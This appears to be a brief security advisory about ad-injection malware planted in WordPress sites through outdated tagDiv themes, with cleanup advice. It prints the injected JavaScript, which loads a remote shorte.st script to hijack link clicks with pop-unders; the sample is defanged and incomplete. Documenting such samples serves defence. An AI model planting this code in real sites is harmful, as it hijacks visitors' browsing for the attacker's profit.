Injected unwanted ads, that hijack link click. The script is injected via a vulnerability in outdated tagDiv themes: Nespapere and Newsmag (and their derivatives).

Malware sample:

(function() {
    var configuration = {
    "token": "8f1bc5aa7e697f9829c057cfd305bd64",
    "exitScript": {
        "enabled": true
    "popUnder": {
        "enabled": true
    var script = document.createElement('​script');
    script.async = true;
    script.src = '//cdn.​shorte[.]st/link-converter.min.js';
    script.onload = script.​onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(​configuration);};
    var entry = document.getElementsByTagName('​script')[​0];
    entry.parentNode.insertBefore(​script, entry);

Affecting: WordPress sites with outdated tagDiv themes such as Newspapaper and Newsmag.

Cleanup: Remove the injected code from the Ads/Header Ad section of the theme settings in WordPress admin interface. Update the theme or switch to a more secure theme.
